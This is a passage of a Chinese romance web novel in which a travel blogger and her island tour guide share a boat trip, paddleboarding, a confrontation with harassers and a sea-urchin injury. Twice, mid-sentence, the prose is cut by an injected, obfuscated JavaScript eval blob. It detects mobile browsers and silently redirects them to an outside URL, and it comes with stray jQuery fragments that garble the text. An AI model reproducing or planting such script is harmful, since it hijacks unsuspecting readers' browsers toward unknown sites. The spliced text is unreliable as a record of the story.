同时她们更倾向自由的旅行,而不是特种兵式的旅行团模式,包括同伴与社交很重要,同年龄层相处会更舒适,因为消费观念,作息习惯大差不差,会避免跟年长太多的人同行,爹妈味的说教味比较重,影响出行心情。
正当麦初听得认真,思绪被同行乘客的高亢声音打断,“快看!有海鸥!”
麦初一行四人跟着其他人的视线望向船舱外,原来海钓沿途会经过海鸥聚集地,游艇也会特意降速让游客拍照打卡,大家纷纷出船舱走向甲板,女孩们自然也被吸引,争先恐后地拿起手机随大流去跟海鸥互动了。
看到成群的海鸥在游艇上方来回盘旋,麦初并不是很感兴趣,但是架不住女孩们的热情,还是被她们拉出了船舱一同去拍照。
女孩们照片拍得乐此不疲,完了还跃跃欲买了面包去喂海鸥,这下引来更多的海鸥朝她们扑腾而来,看着一只只海鸥在她们头顶上方快速叼走面包一角展翅而去,一波波交替有序,麦初许被这场景所感染,也试着拆开并举起女孩们塞给她的一袋面包。
果然海鸥闻着味就来了,麦初瞬间也被海鸥包围。
此时此刻没有镜头时刻跟随,也不用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182745|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
按照脚本精心策划每个动作,麦初仰着头,迎着风,张开手迎接的仿佛不是海鸥,而是自由。
只是这自由中带了一丝味道,这片海鸥不知是不是被喂得太饱,对着人群痛快撒欢,而麦初就是幸运儿之一,鸟屎不偏不倚落在了她的头上。
好吧,看来是自由过了火,这种万分之一的概率都能被她碰见。
喜提“天露”的麦初只得提前撤退,她在船上转了一圈没找到卫生间,直到甲板上出现一道长影,她一抬头与闪现的乔翊视线一撞。
“在找什么?”乔翊一直站在角落巡视,看她在船上来回转悠,大致也猜到她在找卫生间。
“江湖救急,快,带我去卫生间!”果然,他的出现就像及时雨,成为了麦初的救星。
乔翊只当她是有生理上的需求,没有丝毫怠慢,把她领回船舱,向甲板和船舱的阶梯下去位置的右手边类似储物仓的空间指了指,“这里。”
麦初这才注意到那里有个和储物间几乎融为一体的小门,上面有个毫不起眼的卫生间标志。
“这就是卫生间?”这地方简直是给瞎子抛媚眼的存在,如此隐蔽,跟她想象中的游艇卫生间可谓大相径庭。
“岛上资源有局限,包括出海游艇,这已经算矮子里拔将军的豪华配置了。”乔翊一边说一边替她打开门。
门被打开后,麦初发现这卫生间是利用船舱内的下沉空间搭建的,面积有限,但麻雀虽小五脏俱全,基础设施倒是一应俱全,只是需要人弯腰进去,乔翊适时地用手挡住了门框顶部,以防她一不留神撞到脑门。
麦初虽然高挑,但身体苗条,四肢纤细,下去毫不费力,虽然找到了可供清洗的洗水池,却没有镜子,于是她整个人往里缩了缩,招呼乔翊也下来。
“那个,你也进来一下。”
乔翊不知她欲意何为,她转过身指了指颈脖上方的头发处。
乔翊这才了然,原来她是被淋了鸟屎。
“这里没镜子,我看不见也够不着,你帮先帮我擦掉。”麦初说着把手中的一包纸巾塞给他。
帮忙帮到底,乔翊接过纸巾,探身而入。
狭小的卫生间内一下容纳了两个成年人,尤其是乔翊将近一米九的体格,把卫生间内的光线全然遮住,整个空间更显逼仄。
他高挑的身影挡住了麦初头顶的光线,将她整个人从身后严实盖住,这里本就非常隐蔽,一时间仿佛与世隔绝,如果不是他们的呼吸循环往复的,发出一丝微弱的痕迹,一切就差按下一个静音键。
“擦掉了吗?”麦初率先打破沉寂,微微侧过头问。
“稍等。”干纸巾擦拭的效果不大,乔翊打开水龙头用干纸巾淋湿后再次尝试,比之前好些了。
他顺着她的发丝小心擦拭,生怕牵扯到头皮弄疼了她,大概光线实在太暗,他低头的姿势不自觉离她越来越近,呼吸中的气息均落在她光滑裸露的颈脖上,急促且灼热。
过程中耳后有伶仃碎发纷纷垂落,麦初不停地整理,循环往复,什么都看不到的她莫名心烦意乱起来,但又佯装漫不经心地问他,“臭吗?”
身后的乔翊轻笑了一声,他反问,“你说呢?”作弄之心由此而生,遂拿着一张新鲜打湿的干净纸巾故意伸送她面前捉逗,“要不要闻闻?”
原本就有些许洁癖的麦初立马上钩,她真当是脏的,反手给他一个肘击,“讨厌啊,拿开。”
乔翊反应极快地按住她的不安分,“别乱动,不然我可不保证浸湿的鸟屎会不会再流到你皮肤上的其他地方。”
这招果然奏效,麦初立刻听话得不动了,她噤声抽手,只是收回的手肘上还残留着他手掌中炙热的体温。
麦初度秒如年等待,耳朵却跟着他的呼吸节奏滚烫起来,一直等到他说行了。
“谢了。”她致谢,却又听到他的笑声,以为是在嘲笑她淋到鸟屎,喂了一声便回身问他,“有什么好笑的啊。”边说边送上一记小拳。
乔翊再次精准地抓住她躁动不安的手,不忘调侃,“动不动张牙舞爪,你属猫的?”
“你才属猫。”手被禁锢的麦初想改换脚,乔翊又去阻挡,打闹间不知不觉将两人所剩无几的距离拉近。
等两人意识到的时候已经近到快贴面了,他因为身高一直保持着俯身低头的姿势,她一抬头就是他被放大到的五官,即使光线不好,也无法掩盖它们出众的事实。
空间中潮湿而温热,两人的呼吸在不安的躁动中一起一伏,麦初鼻腔中的气息带着杂乱无章的急促,与他的交织在一起。
他的深长,她的浅促,均落在对方近在咫尺的唇瓣上,而后无声地互相碰撞,交错,缠绕。
“叩叩。”有人在里面吗?
直到门外有人敲门打破沉寂。
麦初的身体下意识紧绷,覆盖在他身下的柔软躯体如同受到惊吓的一只小虾米,这下乔翊当她面笑了一下,被她瞪眼警告后他出声告知门外,“有人,大号,还有一会儿。”
外头的人一无所知,一听还有一会儿,不想干等,“哦哦哦”地附和着,很快走开。
乔翊从门缝中确定人走后才打开门,告诉麦初可以出去了。
他主动让开一条道让麦初先走,麦初也不客气,先他一步出去,他对着她倩俏的背影也不忘提醒,“要喂海鸥自己找个地儿,别跟其他人一道,你们一群人一窝蜂的站在一个地方喂,那片区域的海鸥来来回回地吃能不‘天降甘露’么?”
麦初只觉他马后炮,留下一句,“之前你不早说?”随后走得头也不回。
人虽然走了,但她待过的地方还残留着她的名牌香水味,有一瞬间乔翊都觉得这简陋的卫生间变得像五星级酒店般高档了起来。
体验过了喂海鸥,海钓时大家兴致加倍,半天下来,大家收获颇丰,而游艇上就有简易的小厨房制作海鲜餐,不用等到上岸大家就能品尝到自己亲手钓到的海鲜。
船上的一群人自然是不亦乐乎,用餐前每人倒了一杯饮料庆祝这次成功的海钓之旅,此时大家也相熟了,热情得互相碰杯,当然也不忘拉上领队乔翊,有人还念叨着加微信的事,乔翊佯装答应下船就处理,给足情绪价值的同时礼貌地一一回敬。
到麦初的时候,他没有像其他人那般碰完杯只说,“谢谢,玩得愉快。”取而代之的是。
“祝你创业有成,早登青云。”
他迎着正午的阳光,他整个人被倾泻的金光碎钻灌注,如同站在金色瀑布中,格外耀眼。
麦初耳边是女孩对刚刚碰杯的时候应该对昨晚他的赶海救援一并致谢,却白白错过了机会的懊悔。
只有麦初觉得奇怪,明明喝的不是酒,自己怎么会一丝微醺后的醉感。
12. 12
海鸥喂了,海鱼也钓了,上午的海上项目可谓相当充实,下午是大家更为期待的海上桨板项目,由于一行人都是初学者,出于安全考虑得在浅滩玩。
早晨出发的时候海面风平浪静,大家都又是喂海鸥又是比较兴奋,这会儿回程海风比较大,游艇穿梭在海浪中起伏不定,酒足饭饱的大家在这周而复始的颠簸反倒蔫了,有的甚至晕船了起来,随着波浪摇曳的节奏匍匐在船舱里,忍受着胃袋翻江倒海的痛苦。
身边的女孩们也都一个个倒下,像失去了生机的花,此刻再也鲜活不起来,麦初倒是不晕船,她隔着船舱玻璃望着随着船身起伏上下切割的海平线,如同被一把钝刀反复锯着视野,随着越发靠近码头,游艇经过一座悬崖,悬崖脚下坐落着一片建筑物,却犹如雾里看花,怎么都看不实在真切。
突然有人抱着垃圾桶吐了出来,麦初极力克制不看向那片乘客区域,但生理上无法忍受那种渐渐弥漫船舱的气味,还是离开了船舱到甲板上去透气。
乔翊正撑俯在船舷护栏眺望着不远处的悬崖,听到声音回眸,看到麦初独自前来,将手中尚未开封的矿泉水递了过去。
“晕船了?”
麦初被船舱各种混合的味道正呛得难受,接过说了声谢谢,立刻打开饮下几口。
“我还好,里面有人吐了,我出来透透气。”末了,她抹了抹唇角说。
没有了玻璃的遮挡,甲板上视线清晰开朗,麦初终于看清了山脚下的那片建筑物,有操场,有教室,居然是座学校。
“那里是小学还是中学?”她视线逗留在那片,边拧回瓶盖边问。
乔翊告诉她,“岛上土地资源有限,这是一所集小学中学为一体的学校,也是岛上唯一一座学校。”
虽然船离学校还有一段距离,但教学楼五彩斑斓的油漆在阳光的照耀下温和地反射着光辉,随着光纤的流淌,整座楼在船上看有着光影流动的韵律,仿佛也在向船上的人微笑致意。
“看着挺新的,是新建的吗?”麦初好奇地问。
乔翊:“前两年在原有的基础设施上翻修了一下,所以看着像新建的。”
“那佟光也在这里上学么?”
本来麦初还以为佟光上学得靠摆渡船,去岛外的学校上学,没想到岛上就有学校,那还挺方便。
“对,他就在那里上学。”
麦初又借机试探,“所以那里也是你的母校咯?”以此来确定他是不是本地人。
“不是。”乔翊像是看穿她目的似的直言,“我不是本地人。”
这个答案由他亲口说出麦初还是有些意外,起初她以为他是学成归来回报家乡的岛民,但听他字正腔圆又听不出本地口音,所以心中一直有所怀疑,没想到他还真是外来的,尤其在现在这个大多数人遵循着往大城市就业的社大环境下,他却反其道而行之,来一座名不见经传的小海岛来务工,这很难让人不好奇背后的缘由。
“哈?”麦初饶有兴致地往下探寻,“那你为什么会来这里?”
厌世、旅居还是什么别的不为人知的因素?
乔翊笑了笑后反问了她一个与此无关的话题,“有没有人跟你说过,你闲聊的样子很像在做访谈?”
她的声音悦耳动听,即使是聊天也很有亲和力,很容易让人卸下防备向她展露情绪以及坦诚倾诉,不过他向来理智。
大数据一度将她的各种信息推送到他面前,毫无隐私可言地自动形成了一张有关于她的个人简历,乔翊虽然无心窥探,但刷多了难免也会扫到一些关键词信息,比如:传媒大学,播音系。
所以他之前也不算猜错,虽然她不是cv类的主播,但她的确在相关的领域深造过,只是她为什么后来会选择网络作为事业,他不得而知,但从她的视频质量不难看出,她把曾经的专业融入进事业,做出了自己独有的特色,之所以能从一众同质化博主中脱颖而出,跟她曾经的优秀也脱离不了关系。
麦初原本双手耷拉在护栏上,海风吹动的发丝拂过肩头,慵懒的姿态显得风情灼灼,她闻言欠身一笑,随后站直将水瓶举起充当话筒清了清嗓,眼下她拿腔作调起来,“那么乔先生,是否愿意成为我第一个访谈对象呢?”说着已将水瓶话筒递到他嘴边,等待回应。
她一秒入戏,状态切换自如,郑重其事的模样,看上去挺像那么回事。其实有不少人评价过她,即使不做网红,不做主持人,她进演艺圈也是极适合的,
乔翊也秒懂她的幽默,很默契地给出回应,“当然,荣幸之至。”
麦初保持举话筒的姿势,带着专业的播音腔继续问,“那请问是何种契机促使乔先生来到这座风景如画的夏安岛来寻求发展的呢?”
乔翊俯身到最适合她的高度,真的对着“话筒”十分配合地侃侃而谈起来,“我纯属是小时候《桃花源记》读多了,一直很向往与书中所描绘的那种与世无争静辟之地,所以当不堪忍受城市里的喧嚣时,一个机缘巧合落脚在了这里。”
跟麦初的预料相差无几,她继续深入,“所以这里是你逃避世俗的世外桃源?精神上的乌托邦?”
这次乔翊却给出了模棱两可的答案,“算是但不完全是。”
麦初又换了个角度,“不会觉得可惜吗?毕竟外面有相对而言更多的机会,而你也还很年轻。”
乔翊:“不会,对于我来说,只是个人得失而已,但对于这座岛来说,多了一个人做事,意义可能会不一样。”
这些话虽然是他脱口而出,但却像是经过深思熟虑后的多次内心剖析,才得出的最终答案。
麦初看着他鲜少展露出认真的模样,一时分辨不出他是配合她玩闹的演绎还是发自内心的真话。
不过有一点他也没说错,只靠守岛的老人们这座岛屿的未来前景迟早面临局限,夏安岛如果想可持续发展必定离不开年轻人的支持。
“但一个人的力量是有限的。”可以他目前所做的事,只能说是给小岛增添了劳动力,注入了年轻的力量,但并不能给小岛带来什么直观的改变,本质上其实没有多大区别,所以麦初现实地提醒道。
海风时而横淌过他们的眉宇,时而拨弄他们的发丝,使其凌乱不已,却衬得他整个人更有型,也带来了他接下来的话。
“有些事总要有人去做的,只要能让小岛有所改变,哪怕慢一点也没有关系。”
阳光在他近乎完美的脸上投下细碎跳跃的光斑,麦初不忍再打破沉浸在自己世界里的那具灵魂。
也许他是经历过什么能在这里抚平创伤,亦或是这里能让他寻求到精神慰藉,找到一丝前所未有的存在感,但不管是什么,麦初觉得有梦想的人都很了不起。
“不如先从改变民宿开始呢?”麦初知道他的出发点是好的,不过他的范畴难免铺张得大了些,麦初觉得他不妨先顾好眼前再谈以后的事。
乔翊目不斜视地望着已经渐渐远去的学校,他的声音跟着海风一块儿在这海面上起起伏伏,“民宿改变得再好却难以带动整个岛,很容易昙花一现,只有整座岛好了,民宿才能从中得益,不过我相信,一切总会慢慢变好。”
她即兴而发的一场玩闹最后演变成一场大局观的深谈也是麦初始料未及的,虽然他只是岛上一名普通的基层的服务人员,但能有这样的思想境界也实属难得。
游艇慢慢靠近海滩,桨板俱乐部近在眼前,不堪晕船折磨的游客发现快到达目的地了,赶紧从船舱里走出,欲要第一个下船,大吐特吐,麦初的初访谈随着他们的陆续出现只能草草了事。
“那我祝乔先生早日梦想成真。”
乔翊依旧配合得陪她落幕,“谢谢。”又迅速从刚才“被采访”状态中抽离,问她,“会玩桨板吗?”
好似一个演员,导演一喊咔,他便卸下了戏中精致的面具,与她正常交谈起来,演技甚至比她更甚一筹。
”好看的皮囊千篇一律,有趣的灵魂万里挑一。”刚才的“访谈”让麦初意识到他的言之有物,起码不是一个脑袋空空的笨蛋帅哥。
她收回矿泉水瓶摇了摇头,“以前没接触过,难吗?”
“不难,一会儿可以试试。”
“你该不会还是桨板教练吧?”麦初想起什么似的,仰头问他。
她突然凝眸望来,如同这午后暖阳下海面荡开的涟漪,蕴藏着万千风情,乔翊注视着,又起了逗弄她的心思,他狡黠一笑,信口开河,“是啊,一对一教学的那种,不过那是另外的价钱。”
麦初心底默默算了笔帐后,心直口快道,“你这么全能,那岂不是包了你就能在这座岛上畅行无阻了?我倒觉得很划算啊。”当意识到有歧义时,为时已晚。
果然,与她对视的乔翊唇角浮起,继而慢条斯理地强调,“包我?”他哂笑一声,“那是更另外的价钱了。”
“哦?”麦初也不是省油的灯,她不以为然地拿着矿泉水瓶把玩,眼波流转,兴趣盎然,“说来听听,有多另外?”
这时“咚——”地一声。
游艇靠岸时与浮动码头相撞,突如其来的冲击力令麦初一个趔趄差点撞上身前的护栏,乔翊伸手拉了一把才让她站稳,而那脱手的矿泉水瓶滚落在两人脚边,一个来回后,“噗通”一下掉进了海里。
“下次坐船靠岸前,记得别靠船边站,否则人要是掉下去了,我负责捞上来可还得加钱。”乔翊就着他的身价话题继续说道,确定她站稳后再次化身领队身份,维持下船的秩序去了。
回过神的麦初则在他背后暗戳戳给他横添一个新名号——“加钱哥。”
加钱哥不负众望,在下船后以最快的速度结束了一伙人恹恹不振的状态,调动起了大家情绪投入到桨板这一项目中。
因为麦初和女孩们都是新手,一开始两人组成一队边摸索一边边玩,虽然没有乔翊口中所说的一对一教学,但结合着俱乐部教练的演示与叮嘱,麦初慢慢能够控制桨板在海上滑动起来,正要继续深入这项运动,跟她一组的女孩大概受到晕船后遗症影响,玩桨板的状态不济,在多次落水后表示太累了,想要去沙滩上休息一会儿喘口气,其他两个女孩闻言表示也想休息一会儿。
麦初自然应允,正好自己也想上岸喝点水补充水分,四人便一起回到岸上沙滩。
之前为了玩桨板方便,女孩们褪去了外面的沙滩裙,展露出了内有乾坤的亮眼比基尼,从海中上岸后好身材更是一览无余。
上岸后女孩们一起去沙滩冲洗室洗脚上的沙子,麦初则顺路去附近小卖部买矿泉水,四人约定在小卖部门口集合,但等麦初买好矿泉水出来并未发现她们,于是她往冲洗室方向寻去,正好看到女孩们在回来的路上被几个陌生男性借搭讪的名义进行言语骚扰。
几人将三个女孩团团围住,而她们裹着单薄的浴巾退无可退仿佛待宰的羔羊,远远就能听到他们夸她们身材很好,问她们多大了,住在岛上哪家民宿,晚上要不要出来去酒吧喝一杯,有甚者拿着手机一直向她们索要联系方式,直接多少钱才约,把涉世未深的女孩们吓得大惊失色。
她们是第一次碰到这种情况,附近又没有其他人,她们人生地不熟地根本甩不掉那几个狗皮膏药。
那几人麦初从未见过,大概是附近其他团的或者来岛上玩的散客,麦初由此判断着,赶紧扔下手中的水,疾步上前。
“喂,你们有事吗?”她来势汹汹,一个箭步将女孩们挡在身后,直面那几个男人。
距离拉近,才发现对方一个个人高马大,几人站成一排能把她们四人都挡住。
麦初的出现,令几人仿佛遇到了意外收获,虽然穿着上比前三个保守,但也不难看出身材和脸一样均属极品。
几人下意识地对视后不禁内心窃喜,来这个破岛出海还真是来对了。
“没什么,都是出门在外的,交个朋友嘛,你们在岛上玩几天啊,我们可以搭个伴啊。”其中一名男子率先开口,企图打开话题拉近关系。
麦初并没有回答他,而是拿出自己的手机对着他。
对方还以为她在自拍,更是轻挑地上前询问,“自拍啊美女?要不要我们帮忙啊?哥几个绝对包拍漂亮的。”
麦初反唇相讥,“是吗?”
几人大言不惭,“对啊!”还恬不知耻地向她索要手机,“不信给你们拍几张试试嘛。”
麦初却说,“可是我不是在自拍,而是在直播,我是旅行博主,你们刚刚的对话都已经被录入直播
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182746|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间里了,对了,已经有人在刷弹幕说觉得你们好没礼貌好油腻诶,初次见面就对女生这样说话也太没边界感了吧?”
几人一听,脸色一变,见麦初举着手机欲要朝他们更近一步而来,只当镜头对准了他们,吓得连连后退,避之不及,嘴上还在警告,“别拍了别拍了,我有肖像权!小心我告你!”
麦初嗤笑不已,“我是前置摄像,对着自己直播,你们慌什么?还是说你们也知道自己刚刚丢人现眼骚扰小姑娘了?言语骚扰也是犯法,到底谁告谁啊?要不要我切换镜头给网友们评评理,顺便让你们在网上火一把?”
见麦初咄咄逼人,几人生怕她真把他们曝光到网上,不敢再有造次,扭头落荒而逃,只剩女孩们瑟瑟发抖地站在原地。
“姐姐,还好有你,我们没想到会在岛上遇到流氓。”
三人说着险要落泪,麦初安抚着她们别怕,把手机塞回兜里赶紧把人带回了沙滩。
其实她连手机屏幕都没打开,说直播也是当幌子,没想到这招真奏效的,但现在想想,当时身边都没个路人,要是对方识破了恼羞成怒,她们双手难敌四拳,无法想象后果。
正在后怕着,居然跟来找他们的乔翊迎面撞了个正着。
“你们怎么去这么久?”乔翊作为领队,叮嘱过她们自由活动的时间不能太久,好在她们上岸后是他有注意到是往冲洗室方向去的,所以超过20分钟后他还是不放心地跟来了。
他蓦然一个出声,让惊魂未定的女孩们应激地第一时间躲在了麦初身后。
麦初整个人原本也还在紧绷状态,一听到男人的声音又一秒切换到防御状态,抬头看清是他,才慢慢放松了下来。
她一只手轻捂着胸口,顾及着身边的女孩们,只说,“碰上点意外,你能不能先安排她们上船休息?”
虽然她没多说,但乔翊从女孩们的神情和她的闪烁其词中,敏锐地捕捉到了一些信息,他没再多问,只给她一个明确答复,“可以。”
安顿好女孩们,麦初以为乔翊多少会追问几句,但他没有提及分毫,只关切地问了她一句,“桨板还玩吗?”
麦初看了他一眼,语气带着点不服输的倔强:“玩啊,谁说我不玩了。”说完,便转身留给了他一个洒脱的背影。
乔翊在船上看着她,从头到尾没有拆穿她的伪装,虽然他不知道究竟发生了什么,却大致能看出她们险些遇到危险,而且从她刚才看到他的第一反应可以看出,她明明自己也怕的要死,却一直在逞强。
唯一能确定是,事情最终是被她解决的,好在结果是她们四人都安然无恙。
乔翊又叮嘱船员几句,让他们照顾好船上的乘客,这才下船继续履行自己的领队职责。
脱离队友的麦初这次单枪匹马地开启了这个从未尝试过的运动。
麦初在落了几趟水后也逐渐找到保持平衡感的窍门,终于能独自在桨板上站立起来,她再试着用船桨滑动了几下,桨板在她的掌控下真的如同在地上行走般逐渐丝滑了起来。
不过她作为初学者只敢在浅水区玩耍逗留,不敢再深水区涉足,也正是如此,几分钟后因为一个海浪的到来,她的桨板失去了平衡,她连人带桨再次落水,整个人被桨板扣打在海里同时随着海浪的推波助澜被冲向沙滩,虽然绑了脚绳,但此刻没有抓手的她本能地抓着桨板想要赶紧爬起来,却在此过程中不甚在海里踩到了什么,疼得整个人在海水里一缩,再也支棱不起来,失去了支点,海水从四面八方涌来,以迅雷不及掩耳之势将她包围,并倒灌进口鼻,麦初一紧张刚抓住的桨板在手中几次打滑,好在有救生服,起码能保证她的头露在水面不会溺水,但她脚疼得一时无法动弹,如何再重回桨板成了最大的难题。
乔翊虽没下水,但一直没有走远,他在海滩上来回巡视观察着一行人在海面上的一举一动,以此防止特殊情况的发生。
麦初一开始的洋洋自得被他尽收眼底,只是上一秒还在独自美丽的人被浪打翻后久久没能回到桨板,她在海面上的来回扑腾很快引起了他的警觉,下一秒他拖着一个桨板一头扎进了海中,动作迅速熟稔,一气呵成。
被灌了好几口海水的麦初最终是被乔翊托举回到桨板上的,她纤细的腰肢乔翊一只手足以圈起,再一抱一托后,她像只任他摆布的落汤鸡,成功被他打捞上岸。
她不断呛咳着,脚底传来火辣辣的疼痛感,随着海水的浸湿越发明显。
而她回到桨板上后只觉自己狼狈不堪,一些被压抑已久的情绪像浪潮一样席卷而来,试图吞噬她坚固已久的坚强堡垒,逼迫她缴械投降,很多委屈也随之涌上心头,她一时情绪上头,无脑地对着乔翊便是一顿输出,“都怪你。”
乔翊也刚坐回桨板,他保持着平衡让它能够承载下两人不再随便翻车,可人才坐稳就被她扣上了莫须有的罪名,他抹了一把脸,一时有些发懵,“怪我什么?”
“怪你在船上咒我落水。”麦初眼鼻口中都被倒灌了海水,这会儿眼睛鼻子都酸涩的厉害,嗓子也被海水浸哑了,见他不语,她吸着鼻子先发制人地控诉起他的罪状,“都怪你,就是你。”
她脸上还沾着残留的海水,顺着她面部轮廓滚落在桨板上,发出滴滴答答的声音,伴随着她劫后余生的喘息和委屈的呜咽,一度让乔翊以为她被刚才的情形吓哭了,楚楚可怜的模样直接将人心底的保护欲撩于无形。
好巧不巧,又有一记海浪从远处朝他们卷土重来,乔翊警觉到后生怕桨板再次被掀翻,提前将她整个人护进怀里,她纤瘦到骨架都在他怀中能够清晰感受,而她蜷在他身下感受到海浪又一次地从身边张牙舞爪,只是不同于先前,这次被他伟岸的身躯挡住了许多,她也没再连人带板掉入海中重蹈覆辙。
待浪潮褪去,海面重归平静,他们依偎着,在落日余晖下身影交织缠绕,海面上的倒影难分难舍地贴覆在一起,周身静谧得也只剩两人的呼吸,他保持着将她护在身下的姿势,而尚未及时抽离出情绪的她也一直蜷缩在他怀中,肌肤之间的摩擦,心跳声的碰撞,他的声音在海水洗礼的下更为动听似的。
他附耳低语,应承下她刚才所有的控诉。
“嗯,是我不好,都怪我。”
13. 13
麦初情绪发泄完就后悔了,谁知乔翊不但没生气还反哄她。
这要是不知情的人看来,完全像个情绪稳定的男友对待无理取闹的女友,但麦初知道是她过分了。
人家三番五次救她,她却拿他撒气,真是恩将仇报不知好歹。
“对不起啊,我刚刚情绪有点失控,说话则没个轻重。”麦初端正好态度,抬起头跟他商量,“要不,我给你骂回来。”
眼中的美瞳在海水的浸渍下使她的眼睛无比酸涩,眼尾晕开一抹浅浅的红,滋生而出的泪水氤氲在眼眶,在她说话时欲落未落的模样更显楚楚动人。
而在两人极近的距离下,她抬头的姿势将好身材全然展现,即使穿着救生衣,也难掩胸前那一抹深邃的沟壑,沿着她面部轮廓滴落的水珠时不时滴落在那里,配合她此刻我见犹怜的模样,仿佛有无数只无形之手在不断抓挠乔翊的胸口,百般考验他的意志力。
乔翊挪开视线后清了清嗓,但出声还是有些许哑涩,“我在你心中的形象是个小气鬼?”他用指腹贴向她眼角,顺势接过一滴蓄满后夺眶而出的泪水,那颗晶莹在他指尖轻轻揉捻,“还是说,我看起来像个情商为负的直男?”
麦初觉得自己被小看了,也不顾形象地抬手抹了一把脸,“小不小气不知道,直男倒是挺直男的,隐形眼镜浸了海水渍了眼睛而已,你不会以为我哭了吧。”言语间纤指一弹,将手中的水都溅到他脸上,她带着特有的倔强,为自己发声,“落几次水就哭,我才没那么脆弱好吧。”
乔翊并未躲开,任由她嬉闹,任谁看了都像郎才女貌的热恋小情侣。
但由于麦初身体动了一下,脚下烧心的痛感牵扯着皮肤又一次席卷至全身,她实在没忍住,发出“嘶——”地一声。
“怎么了?”乔翊察觉到什么,第一时间询问。
“刚刚掉海里的时候,脚底好像被什么扎了一下,可能是水母?”麦初如实告知,但她也说不清到底是什么,才一会儿功夫,被蛰的那处皮肤渐渐僵住,一只脚再也无法灵活动弹。
“我看看。”乔翊说着手已经覆上她的脚踝,和她手掌的触觉几乎无异,柔软娇嫩,却因为不经意间的受伤,泛着本不该存在的紫红,且滴滴的血还在伤口汨汨不绝地往外冒着。
无暇顾及其他的麦初现在却只关心一件事,“这里的水母有毒吗?”
见他低头只顾检查半晌每个回应,原本还挺淡定的她开始变得惶恐不安起来,“不会是海蛇吧?”
虽然她没有亲眼见过海蛇,但以前刷到过科普,说是这玩意儿有剧毒。
在她胡思乱想到会不会要截肢的心理活动时乔翊终于出声给她吃了颗定心丸,“不是水母,也不是海蛇,是海胆,你踩到海胆了,倒刺扎进了脚底。”
麦初先是松了口气,但又后知后觉道:“难怪那么疼。”她完全不知自己到底是怎么踩沪城胆的,以前只在网上看到过这种情况,轮到自己亲身经历了顿感苦不堪言。
桨板自然是玩不了,乔翊带她上了岸先简单处理了一下,脚底残留的海胆倒刺触目惊心,由于被蛰到的范围比较大,乔翊也只能清理出长的刺,短的碎刺已经深入穿透到了她的皮肤里,很难清理干净。
他问:“脚底板的疼还能熬吗?”
麦初这会儿老实巴交了,她点点头。
乔翊又跟她商量:“那你就在这儿待着等我一会儿,等行程结束我就带你去处理伤口,行吗?”
麦初现在即使走路也只能一瘸一拐,还得靠人搀扶,一个人根本无法回到民宿,只当他说的是等一切结束后带她回民宿慢慢处理,想着自己总要回去,跟他一起也无妨便答应了。
这片沙滩海上项目为主,为了方便游客活动,没摆放什么可供躺靠的沙滩椅,怕她等太久,乔翊想让她坐得舒服些,不知从哪儿弄来一张轮椅,还有一双崭新的洞洞拖方便她套在脚上。
明明只是脚底被刺而已,不知道的还以为她骨折了,麦初有点哭笑不得,直接飚出网上的粤语段子。
“唔係啩(不是吧),大佬?”
没想到他也用粤语快速接梗,“係啊(是啊),靓女。”
短短几字听起来居然很对味,跟她半吊子的蹩脚是截然不同的感觉,让麦初不得不怀疑他是广东那片的。
为了不耽误他的工作,麦初没有扭捏推脱,而是乖乖坐了上去。
好在太阳落山后大部队也集合了,大家把桨板归还给俱乐部后直接原地解散。
在船上休息良久的女孩们已经从先前的突发事件中缓回了一丝神,当得知麦初受伤表示她们三人可以送她回民宿,但麦初不想麻烦她们,况且她们今天也受了惊吓,心情上还没完全恢复,更别提照顾她了。
“没关系的,小问题,领队一会儿会帮我处理然后送我回去,出来一天你们也累了,快回去休息,再说现在太阳快下山了,你们送我回去后天都黑了,我也不放心你们独自下山回民宿,所以乖了,快回去。”
这么一说女孩们心想确实,山顶到山下几乎罕无人迹,夜黑风高的万一再遇上像白天那几个流氓,到时候真是叫天天不灵,叫地地不应。
最后在麦初的劝说下,她们只得约好及时联系,最后先行离开沙滩回了自己民宿。
麦初目送她们离开,看她们此刻平安无事的样子,也算松了口气。
乔翊再出现的时候又不知从哪儿搞来一辆摩托车,不同于他那辆拉风的机车,是最为普通的样式,但他骑着却依旧亮眼。
“你是有哆啦A梦的口袋吗?什么都能变出来。”麦初受伤的那只脚虽然都僵硬到已经无法正常站立了,却还不忘调侃他一把。
乔翊仿佛已经习惯了她这种心血来潮的调侃,安静中小心翼翼地扶起她,只是这回如何把她架上上摩托车却成了一道难题。
他隔空简单比划了一下需要抱她的动作,事先征求了一下她的意见,“可以吗?”
麦初反倒被他一本正经的认真样逗笑,其实刚才上岸就是他半搀半抱的,再说了在桨板上的时候为了躲浪头,他也抱过她,虽然都是事出有因,但现在才想起来询问她的意见,难免也有假正经的嫌疑。
她有意提醒,“跟之前的肢体接触有什么区别吗?”
“有。”
“什……”
“么”字正被麦初含在嘴里,他已弯腰将她抱起,麦初的双脚就此腾空,一切动作快得行云流水,等她反应过来整个人已经安稳得窝在他的怀里,他结结实实的给她来了一个公主抱。
“还有问题么?”乔翊低着头,目光落在她近在咫尺的脸颊上。
毫无心理准备的麦初就这样被他反客为主,呼吸一个滞后差点呛进口水,她赶紧清了清嗓,重新调整呼吸,以最快速度恢复到正常后口,“没。”但第一声被残留的口水噎住差点没能发出来,她赶紧吞下又重复,“没了。”
乔翊把她抱放在摩托车后座,将她受伤的那只脚稳妥搁放在脚踏上。
